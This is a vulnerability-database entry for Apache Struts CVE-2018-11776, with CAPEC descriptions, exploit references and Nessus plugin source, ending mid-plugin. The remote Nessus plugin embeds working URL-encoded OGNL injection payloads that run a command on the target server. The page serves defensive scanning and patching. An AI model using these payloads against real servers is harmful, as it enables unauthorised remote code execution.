Vulnerabilities > CVE-2018-11776 - Improper Input Validation vulnerability in Apache Struts
Attack vector
NETWORK Attack complexity
HIGH Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Server Side Include (SSI) Injection An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
- Cross Zone Scripting An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
- Cross Site Scripting through Log Files An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
- Command Line Execution through SQL Injection An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
D2sec
name | Apache Struts 2 Multiple Tags Result Namespace Handling RCE |
url | http://www.d2sec.com/exploits/apache_struts_2_multiple_tags_result_namespace_handling_rce.html |
Exploit-Db
description Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2). CVE-2018-11776. Remote exploit for Multiple platform file exploits/multiple/remote/45262.py id EDB-ID:45262 last seen 2018-08-27 modified 2018-08-25 platform multiple port 8080 published 2018-08-25 reporter Exploit-DB source https://www.exploit-db.com/download/45262/ title Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2) type remote description Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1). CVE-2018-11776. Remote exploit for Linux platform file exploits/linux/remote/45260.py id EDB-ID:45260 last seen 2018-08-27 modified 2018-08-26 platform linux port 8080 published 2018-08-26 reporter Exploit-DB source https://www.exploit-db.com/download/45260/ title Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1) type remote description Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit). CVE-2018-11776. Remote exploit for Multiple platform. Tags: Metasploit Framework (MSF), Remote file exploits/multiple/remote/45367.rb id EDB-ID:45367 last seen 2018-10-07 modified 2018-09-10 platform multiple port published 2018-09-10 reporter Exploit-DB source https://www.exploit-db.com/download/45367/ title Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit) type remote
Metasploit
description | This module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed via an endpoint that makes use of a redirect action. Note that this exploit is dependant on the version of Tomcat running on the target. Versions of Tomcat starting with 7.0.88 currently don't support payloads larger than ~7.5kb. Windows Meterpreter sessions on Tomcat >=7.0.88 are currently not supported. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk. |
id | MSF:EXPLOIT/MULTI/HTTP/STRUTS2_NAMESPACE_OGNL |
last seen | 2020-06-14 |
modified | 2018-12-14 |
published | 2018-08-31 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_namespace_ognl.rb |
title | Apache Struts 2 Namespace Redirect OGNL Injection |
Nessus
NASL family CGI abuses NASL id STRUTS_2_5_17_RCE.NASL description The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the handling of results with no namespace set. An unauthenticated, remote attacker can exploit this, via a specially crafted HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user. last seen 2020-06-01 modified 2020-06-02 plugin id 112064 published 2018-08-23 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/112064 title Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(112064); script_version("1.15"); script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12"); script_cve_id("CVE-2018-11776"); script_bugtraq_id(105125); script_name(english:"Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)"); script_summary(english:"Attempts to execute arbitrary commands on the remote web server."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a web application that uses a Java framework that is affected by a remote code execution vulnerability."); script_set_attribute(attribute:"description", value: "The version of Apache Struts running on the remote host is affected by a remote code execution vulnerability in the handling of results with no namespace set. An unauthenticated, remote attacker can exploit this, via a specially crafted HTTP request, to potentially execute arbitrary code, subject to the privileges of the web server user."); # https://www.tenable.com/blog/new-apache-struts-vulnerability-could-allow-for-remote-code-execution script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a21304a0"); script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-057"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2018/Aug/46"); script_set_attribute(attribute:"see_also", value:"https://semmle.com/news/apache-struts-CVE-2018-11776"); script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2018-11776"); script_set_attribute(attribute:"solution", value: "Upgrade to Apache Struts version 2.3.35 / 2.5.17 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/22"); script_set_attribute(attribute:"patch_publication_date", value:"2018/08/22"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/23"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_set_attribute(attribute:"in_the_news", value:"true"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl"); script_require_ports("Services/www", 80, 8080); script_exclude_keys("Settings/disable_cgi_scanning"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("http.inc"); include("misc_func.inc"); include("torture_cgi.inc"); include("url_func.inc"); port = get_http_port(default:8080); cgis = get_kb_list('www/' + port + '/cgi'); urls = make_list(); # To identify actions that we can test the exploit on we will look # for files with the .action / .jsp / .do suffix from the KB. if (!isnull(cgis)) { foreach cgi (cgis) { match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi); if (match) { urls = make_list(urls, match[0]); if (!thorough_tests) break; } match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi); if (!isnull(match2)) { urls = make_list(urls, match2[0]); if (!thorough_tests) break; } match4 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi); if (!isnull(match4)) { urls = make_list(urls, match4[0]); if (!thorough_tests) break; } if (cgi =~ "struts2?(-rest)?-showcase") { urls = make_list(urls, cgi); if (!thorough_tests) break; } } } if (thorough_tests) { cgi2 = get_kb_list('www/' + port + '/content/extensions/act*'); if (!isnull(cgi2)) urls = make_list(urls, cgi2); cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp'); if (!isnull(cgi3)) urls = make_list(urls, cgi3); cgi4 = get_kb_list('www/' + port + '/content/extensions/do'); if (!isnull(cgi4)) urls = make_list(urls, cgi4); } # Always check web root urls = make_list(urls, "/"); # Struts is slow timeout = get_read_timeout() * 2; if(timeout < 10) timeout = 10; http_set_read_timeout(timeout); urls = list_uniq(urls); scanner_ip = compat::this_host(); target_ip = get_host_ip(); vuln = FALSE; ua = get_kb_item("global_settings/http_user_agent"); if (empty_or_null(ua)) ua = 'Nessus'; pat = hexstr(rand_str(length:10)); os = get_kb_item("Host/OS"); if (!empty_or_null(os) && "windows" >< tolower(os)) { ping_cmd = "ping%20-n%203%20-l%20500%20" + scanner_ip; filter = "icmp and icmp[0] = 8 and src host " + target_ip + " and greater 500"; } else { ping_cmd = "ping%20-c%203%20-p%20" + pat + "%20" + scanner_ip; filter = "icmp and icmp[0] = 8 and src host " + target_ip; } payload_redirect = "%24%7B%7B57550614+16044095%7D%7D/"; payload_redirect_verify_regex = "Location: .*\[73594709\]"; payload_2_2 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27" + ping_cmd + "%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/"; payload_2_3 = "%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27" + ping_cmd + "%27%29%29%7D/"; function namespace_inject(url, payload) { local_var bits, last, attack_url; # find the last / and put it after bits = split(url, sep:"/", keep:TRUE); last = max_index(bits) - 1; for (i=0;i<last;i++) attack_url = attack_url + bits[i]; attack_url = attack_url + payload; attack_url = attack_url + bits[last]; return attack_url; } foreach url (urls) { # first we try the 2.3.x payload soc = open_sock_tcp(port); if (!soc) audit(AUDIT_SOCK_FAIL, port); attack_url = namespace_inject(url:url, payload:payload_2_3); req = 'GET ' + attack_url + ' HTTP/1.1\n' + 'Host: ' + target_ip + ':' + port + '\n' + 'User-Agent: ' + ua + '\n' + '\n'; s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout); icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data"))); close(soc); if ("windows" >< tolower(os) && !isnull(icmp)) { vuln = TRUE; vuln_url = req; report = '\nNessus confirmed this issue by examining ICMP traffic. '+ 'Below is the response :' + '\n\n' + snip + '\n' + icmp + '\n' + snip + '\n'; break; } else if (pat >< icmp) { vuln = TRUE; vuln_url = req; report = '\nNessus confirmed this issue by examining ICMP traffic and looking for'+ '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+ '\n\n' + snip + '\n' + icmp + '\n' + snip + '\n'; break; } # next we try the 2.2.x payload soc = open_sock_tcp(port); if (!soc) audit(AUDIT_SOCK_FAIL, port); attack_url = namespace_inject(url:url, payload:payload_2_2); req = 'GET ' + attack_url + ' HTTP/1.1\n' + 'Host: ' + target_ip + ':' + port + '\n' + 'User-Agent: ' + ua + '\n' + '\n'; s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout); icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data"))); close(soc); if ("windows" >< tolower(os) && !isnull(icmp)) { vuln = TRUE; vuln_url = req; report = '\nNessus confirmed this issue by examining ICMP traffic. '+ 'Below is the response :' + '\n\n' + snip + '\n' + icmp + '\n' + snip + '\n'; break; } else if (pat >< icmp) { vuln = TRUE; vuln_url = req; report = '\nNessus confirmed this issue by examining ICMP traffic and looking for'+ '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+ '\n\n' + snip + '\n' + icmp + '\n' + snip + '\n'; break; } # and finally, we try a simple redirect namespace injection attack_url = namespace_inject(url:url, payload:payload_redirect); res = http_send_recv3( method : "GET", item : attack_url, port : port, exit_on_fail : TRUE, follow_redirect: 0 ); if (res[1] =~ payload_redirect_verify_regex) { vuln = TRUE; vuln_url = attack_url; report = '\nNessus confirmed this issue by injecting a simple OGNL addition payload'+ '\n( ${{57550614+16044095}} ) into a redirect action namespace. Below is' + '\nthe response :'+ '\n\n' + snip + '\n' + res[1] + '\n' + snip + '\n'; break; } # Stop after first vulnerable Struts app is found if (vuln) break; } if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.'); security_report_v4( port : port, severity : SECURITY_HOLE, generic : TRUE, request : make_list(vuln_url), output : report );
NASL family CISCO NASL id CISCO-SA-20180823-APACHE-STRUTS-CUPS.NASL description According to its self-reported version, the Cisco Unified Communications Manager IM & Presence Service is affected by a Remote Code Execution vulnerability. Please see the included Cisco BIDs and the Cisco Security Advisory for more information. last seen 2020-06-01 modified 2020-06-02 plugin id 112288 published 2018-09-05 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/112288 title Cisco Unified Communications Manager IM & Presence Service Apache Struts RCE (CSCvm14049) code #TRUSTED 550199f15d74ef715d6f7a261c0880a253f35b3119626b7f2278b0324cddf7b2cd2b8d1bf8ad7e7b5fbc30267cd751f3f72890730cb3a052803fc082187bd81c8bdee722f9e924c1d946fe6764075a74dbdc34b1baf655b6de242939e2313d5f8a5ba869428138f914448906a0bc1cc0918a94a19971873ac2e1897bb9607212c61557f006b05c6f23492c994224fd1fca14c2b237d2f6e8e4dac111fce9b4067d588a767811a3b2d39d5b19968b5613b600249c958bbbf7f23fe8f19b781f7b59e1cbd6c83a096cecb81cf83abc52fddb34e2558f7f1e6e12bbb1401c7936041b5c58723a75bf4f727822f916030bdaa3f51ee5c3a4b9843e877618e42ec872d20a19fd2d54c95d639d18252236aca1241e846cdc9a5aa6d6fb9bb9b49ae5b49ba4dd67f119f2aa0b91ab2965c215e0de3ecc3ad43f0646045b20b6eada81d91c7cecb9cd0bd70d73dc49cd4cdd45a98204c8cc96907522a8d764b2cd1c407249ec0c15a48650083dad05b5f4ad91f8ce61b908a331519bacf5ce310679b58b7dc9057369a5787c0f700c2d5ef3ee748d7c0d0738d2cd384c51415da870e7dd45816de819bad30a131b291af147bc1eecbed1ef9206c525141cc63475f3329e2cd5ae60400d5dd13607430998e00f4c3550fe04c8d2c9f54208e1a88d32c77579d72ce29e0151e216a6b60a82ebb55f398cf15b977f43ec9e8162d5a39ba7a7 # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(112288); script_version("1.10"); script_cvs_date("Date: 2019/12/20"); script_cve_id("CVE-2018-11776"); script_bugtraq_id(105125); script_xref(name:"CISCO-BUG-ID", value:"CSCvm14049"); script_xref(name:"CISCO-SA", value:"cisco-sa-20180823-apache-struts"); script_name(english:"Cisco Unified Communications Manager IM & Presence Service Apache Struts RCE (CSCvm14049)"); script_summary(english:"Checks the Cisco Unified Communications Manager version."); script_set_attribute(attribute:"synopsis", value: "The remote device is missing a vendor-supplied security patch."); script_set_attribute(attribute:"description", value: "According to its self-reported version, the Cisco Unified Communications Manager IM & Presence Service is affected by a Remote Code Execution vulnerability. Please see the included Cisco BIDs and the Cisco Security Advisory for more information."); # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56a0e547"); script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm14049"); script_set_attribute(attribute:"solution", value: "Upgrade to the relevant fixed version referenced in Cisco bug ID CSCvm14049."); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/23"); script_set_attribute(attribute:"patch_publication_date", value:"2018/08/23"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/09/05"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_communications_manager_im_and_presence_service"); script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_communications_manager"); script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:unified_presence_server"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CISCO"); script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/UCOS/Cisco Unified Presence/version"); exit(0); } include("audit.inc"); include("cisco_workarounds.inc"); include("ccf.inc"); product_info = cisco::get_product_info(name:"Cisco Unified Presence"); version_list = make_list('11.0.1', '11.5.1', '12.0.1'); workarounds = make_list(CISCO_WORKAROUNDS['no_workaround']); workaround_params = make_list(); reporting = make_array( 'port' , 0, 'severity' , SECURITY_HOLE, 'version' , product_info['version'], 'bug_id' , "CSCvm14049"); cisco::check_and_report(product_info:product_info, workarounds:workarounds, workaround_params:workaround_params, reporting:reporting, vuln_versions:version_list);
NASL family CISCO NASL id CISCO-SA-20180823-APACHE-STRUTS-ISE.NASL description According to its self-reported version, the Cisco Identity Services Engine Software is affected by a struts2 namespace vulnerability. Please see the included Cisco BID and the Cisco Security Advisory for more information. last seen 2020-06-01 modified 2020-06-02 plugin id 112219 published 2018-08-31 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/112219 title Cisco Identity Services Engine Struts2 Namespace Vulnerability code #TRUSTED 7242b75885a6b5b050c1df27b212a08e1d4a9959d429ac0175a5aed8349d84ff35f31c36076b8c5f1a4d63e101974fc5b6ebb535494e41983680bb84c814daa5f15a3bd2830d47f6c214562878f2fc4d0dda73429c8c0afdabe6159ada8d521a9b78eb296fa7a4ed92bf1bf1b05997990dd44eb20ffcc9c8ac7ddf59341203213f31a035e898f0163fe930c55edb612c2834c757eba8cdd8a9ad29f07a76d40071f64f5cf7a550f3b6b531eb42818c760b53564b67b4c03568c8c43beef15d57d34f4c04af89ed6f748b78575d481726f7621c4c3e7941c9fb58bfa8e76f66f8b1f9791c1ae6818d757691f5e93908869ae2d1cd5bcb6e75efbac4f670d5ff8f3fbc0200a3b7264a5c689b57c296e6d253d97f09b00058ef6604eb50dece8a1d762a1d5ac91ae72a1d6acfe539f508fe47e9ececcfe970c20b505c08d8b9772d80ef5fad1aa2477f0f73b6dd950b894f6682d30c3f63c71d624f67956a1c8e1b47418a9fbb6315e2ec30c81fec76b637327ceb1c6f7e63db82aae872f09ddf895301fd9fee92da0e895631b8d02f84a713f84a2a68aef0b6a77cc177d7edda1e3faf54bab03f5b251d486274a44a103a1b660947a6a089741ab03447114dd41c9fa8e6ad0010f731ac74783a2dc11802bb96eaf0042d2370057a29a43be732c8270cc2b79f3eb19a90c85caf29326dcea89ecd261031c18ea7ba17d37df5cc99 # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(112219); script_version("1.11"); script_cvs_date("Date: 2019/12/20"); script_cve_id("CVE-2018-11776"); script_xref(name:"CISCO-BUG-ID", value:"CSCvm14030"); script_xref(name:"CISCO-SA", value:"cisco-sa-20180823-apache-struts"); script_name(english:"Cisco Identity Services Engine Struts2 Namespace Vulnerability"); script_summary(english:"Checks the Cisco Identity Services Engine Software version."); script_set_attribute(attribute:"synopsis", value: "The remote device is missing a vendor-supplied security patch."); script_set_attribute(attribute:"description", value: "According to its self-reported version, the Cisco Identity Services Engine Software is affected by a struts2 namespace vulnerability. Please see the included Cisco BID and the Cisco Security Advisory for more information."); # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56a0e547"); script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvm14030"); script_set_attribute(attribute:"solution", value: "Upgrade to the relevant fixed version referenced in Cisco bug ID CSCvm14030."); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/28"); script_set_attribute(attribute:"patch_publication_date", value:"2018/08/28"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/31"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"cpe:/o:cpe:/h:cisco:identity_services_engine"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CISCO"); script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("cisco_ise_detect.nbin"); script_require_keys("Host/Cisco/ISE/version"); exit(0); } include("audit.inc"); include("cisco_workarounds.inc"); include("ccf.inc"); product_info = cisco::get_product_info(name:"Cisco Identity Services Engine Software"); vuln_ranges = [ { 'min_ver' : '2.0.0.0', 'fix_ver' : '2.0.0.306' }, { 'min_ver' : '2.0.1.0', 'fix_ver' : '2.0.1.130' }, { 'min_ver' : '2.1.0.0', 'fix_ver' : '2.1.0.474' }, { 'min_ver' : '2.2.0.0', 'fix_ver' : '2.2.0.470' }, { 'min_ver' : '2.3.0.0', 'fix_ver' : '2.3.0.298' }, { 'min_ver' : '2.4.0.0', 'fix_ver' : '2.4.0.357' } ]; workarounds = make_list(CISCO_WORKAROUNDS['no_workaround']); workaround_params = make_list(); # ISE version doesn't change when patches are installed, so even if # they are on the proper version we have to double check patch level required_patch = ''; if (product_info['version'] =~ "^2\.4\.0($|[^0-9])") required_patch = '2'; if (product_info['version'] =~ "^2\.3\.0($|[^0-9])") required_patch = '4'; if (product_info['version'] =~ "^2\.2\.0($|[^0-9])") required_patch = '9'; else if (product_info['version'] =~ "^2\.1\.0($|[^0-9])") required_patch = '7'; else if (product_info['version'] =~ "^2\.0\.1($|[^0-9])") required_patch = '7'; else if (product_info['version'] =~ "^2\.0($|[^0-9])") required_patch = '7'; reporting = make_array( 'port' , 0, 'severity' , SECURITY_HOLE, 'version' , product_info['version'], 'bug_id' , "CSCvm14030", 'fix' , 'See advisory' ); # uses required_patch parameters set by above version ranges cisco::check_and_report(product_info:product_info, reporting:reporting, workarounds:workarounds, workaround_params:workaround_params, vuln_ranges:vuln_ranges, required_patch:required_patch);
NASL family Misc. NASL id STRUTS_2_5_17.NASL description The version of Apache Struts running on the remote host is 2.3.x prior to 2.3.35, or 2.5.x prior to 2.5.17. It, therefore, contains a possible remote code execution vulnerability when results are used without setting a namespace along with an upper action that does not have a namespace set or has a wildcard namespace set. Note that Nessus has not tested for these issues but has instead relied only on the application last seen 2020-06-01 modified 2020-06-02 plugin id 112036 published 2018-08-22 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/112036 title Apache Struts CVE-2018-11776 Results With No Namespace Possible Remote Code Execution (S2-057) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(112036); script_version("1.12"); script_cvs_date("Date: 2019/04/08 10:48:58"); script_cve_id("CVE-2018-11776"); script_bugtraq_id(105125); script_name(english:"Apache Struts CVE-2018-11776 Results With No Namespace Possible Remote Code Execution (S2-057)"); script_summary(english:"Checks the Struts 2 version."); script_set_attribute(attribute:"synopsis", value: "A web application running on the remote host uses a Java framework that is affected by a possible remote code execution."); script_set_attribute(attribute:"description", value: "The version of Apache Struts running on the remote host is 2.3.x prior to 2.3.35, or 2.5.x prior to 2.5.17. It, therefore, contains a possible remote code execution vulnerability when results are used without setting a namespace along with an upper action that does not have a namespace set or has a wildcard namespace set. Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number."); script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-057"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2018/Aug/46"); script_set_attribute(attribute:"see_also", value:"https://semmle.com/news/apache-struts-CVE-2018-11776"); script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2018-11776"); script_set_attribute(attribute:"solution", value: "Upgrade to Apache Struts version 2.3.35 or 2.5.17 or later"); script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-11776"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Multiple Tags Result Namespace Handling RCE"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Namespace Redirect OGNL Injection'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2018/08/22"); script_set_attribute(attribute:"patch_publication_date", value:"2018/08/22"); script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/22"); script_set_attribute(attribute:"agent", value:"all"); script_set_attribute(attribute:"plugin_type", value:"combined"); script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts"); script_set_attribute(attribute:"potential_vulnerability", value:"true"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"Misc."); script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin"); script_require_keys("Settings/ParanoidReport"); script_require_ports("installed_sw/Apache Struts","installed_sw/Struts"); exit(0); } include("vcf.inc"); if (report_paranoia < 2) 